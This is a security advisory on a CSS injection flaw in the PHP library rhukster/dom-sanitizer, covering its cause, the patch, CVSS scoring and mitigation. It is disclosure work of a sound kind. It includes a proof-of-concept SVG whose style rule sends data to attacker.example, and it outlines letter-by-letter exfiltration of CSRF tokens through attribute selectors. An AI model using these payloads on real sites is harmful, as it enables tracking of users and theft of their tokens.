Apr 11, 2026·5 min read·1 visit
A CSS injection vulnerability exists in `rhukster/dom-sanitizer` < 1.0.10 due to missing validation on SVG `<style>` tag content, allowing data exfiltration via external resource requests.
The PHP package `rhukster/dom-sanitizer` prior to version 1.0.10 is vulnerable to CSS Injection. The sanitizer permits the inclusion of `<style>` tags within SVG documents but fails to inspect or neutralize the textual content within these elements. This oversight allows attackers to inject arbitrary CSS, facilitating information disclosure, user tracking, and potential exfiltration of sensitive DOM data via CSS selectors.
The PHP package rhukster/dom-sanitizer provides DOM-based HTML and SVG sanitization capabilities. Applications utilize this library to safely render user-supplied content by stripping dangerous tags and attributes before they reach the client browser. The library explicitly supports SVG processing, maintaining an allowlist of permitted SVG elements that includes the <style> tag.
A vulnerability identified as GHSA-93VF-569F-22CQ affects all versions of this package prior to 1.0.10. The core issue lies in how the sanitizer processes the permitted <style> elements within SVG inputs. While the element itself is allowed, the library fails to validate the textContent residing inside the tag.
This omission introduces a CSS Injection vulnerability mapped to CWE-74 and CWE-79. Because CSS rules can initiate network requests and conditionally execute based on DOM state, an attacker can embed malicious stylesheets within an otherwise benign SVG file. The sanitized output remains dangerous to the end user and executes within the context of the host application.
The vulnerability stems from an architectural oversight in the DOMSanitizer::sanitize() method. The method iterates through DOM elements and validates their tag names against a predefined allowlist. Once a tag is permitted, the sanitizer proceeds to inspect and filter the element's attributes to prevent JavaScript injection via event handlers like onload or onerror.
This attribute-focused sanitization strategy is insufficient for elements like <style>. In the Document Object Model, CSS rules are not stored as attributes but rather as text nodes (textContent or nodeValue) child to the <style> element. The sanitizer's logic entirely bypassed these text nodes.
Consequently, CSS directives such as @import and url() were never subjected to the EXTERNAL_URL patterns and attribute filters applied elsewhere in the library. The sanitizer assumed that stripping dangerous attributes from a permitted tag was sufficient to neutralize the element.
Prior to version 1.0.10, the sanitize() loop strictly evaluated elements and attributes. The style tag passed the element allowlist check, and because the malicious payload resided in the textContent, the payload survived the sanitization process unmodified.
The fix implemented in commit 49a98046b708a4c92f754f5b0ef1720bb85142e2 introduces explicit validation for <style> tag content. The patch modifies the main element iteration loop to evaluate the textContent property when the tag name is style.
// Patched logic in src/DOMSanitizer.php
if ($tag_name_lower === 'style' && $this->hasDangerousStyleContent($element->textContent)) {
$element->parentNode->removeChild($element);
continue;
}The newly introduced hasDangerousStyleContent method performs CSS hex decoding to prevent obfuscation bypasses, parsing escapes like \75 rl to url. It then applies strict regular expressions to block external stylesheet imports (@import\b), external URL references matching HTTP, FTP, or Data schemes, and legacy JavaScript execution (expression\s*\(). Internal fragment references like url(#gradient) remain permitted.
Exploitation requires the attacker to supply a crafted SVG file containing a malicious <style> block. The target application must process this SVG using DOMSanitizer::sanitize() and output the result into an active DOM context viewed by a victim.
The following proof-of-concept demonstrates the injection technique. The attacker embeds a wildcard CSS selector targeting all elements, coupled with a background property that initiates an external request.
$svg = '<svg xmlns="http://www.w3.org/2000/svg">
<style>* { background: url(https://attacker.example/collect?url=victim-site); }</style>
</svg>';When the victim's browser renders this sanitized SVG, it parses the CSS rules and automatically issues an HTTP GET request to the attacker's server. Advanced exploitation techniques utilize CSS attribute selectors (e.g., input[name="csrf"][value^="a"] { background: url(...) }) to exfiltrate sensitive data letter-by-letter.
The vulnerability carries a CVSS v3.1 base score of 4.7, reflecting a Medium severity level. The network-based attack vector allows remote exploitation without authentication, but requires user interaction to render the malicious SVG within a browser context.
The primary impact is limited to the Confidentiality metric. An attacker can disclose the victim's IP address, User-Agent, and exact page URL through basic tracking payloads. Using CSS attribute selectors, the attacker can exfiltrate sensitive DOM content, such as CSRF tokens or partial session identifiers, provided these secrets are present in the DOM hierarchy affected by the injected styles.
There is no impact on Integrity or Availability, as the vulnerability does not allow direct modification of the server state or disruption of service. The scope is marked as Changed (S:C) because the vulnerability originates in the PHP sanitizer but impacts the client-side browser environment.
The vendor addressed the vulnerability in version 1.0.10. Organizations utilizing rhukster/dom-sanitizer must update their dependencies via Composer to implement the patch.
If immediate patching is not feasible, administrators can implement a temporary workaround by modifying the sanitizer's configuration. Developers should remove the style element from the allowed SVG tags array unless internal styling is strictly necessary for the application's functionality.
Applications implementing the patched version should monitor the library's updates, as CSS sanitization is inherently complex. Regular expression-based filtering may require further refinement if new CSS obfuscation techniques or browser-specific behaviors are discovered.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
rhukster/dom-sanitizer rhukster | < 1.0.10 | 1.0.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 4.7 (Medium) |
| Impact | Information Disclosure / CSS Injection |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')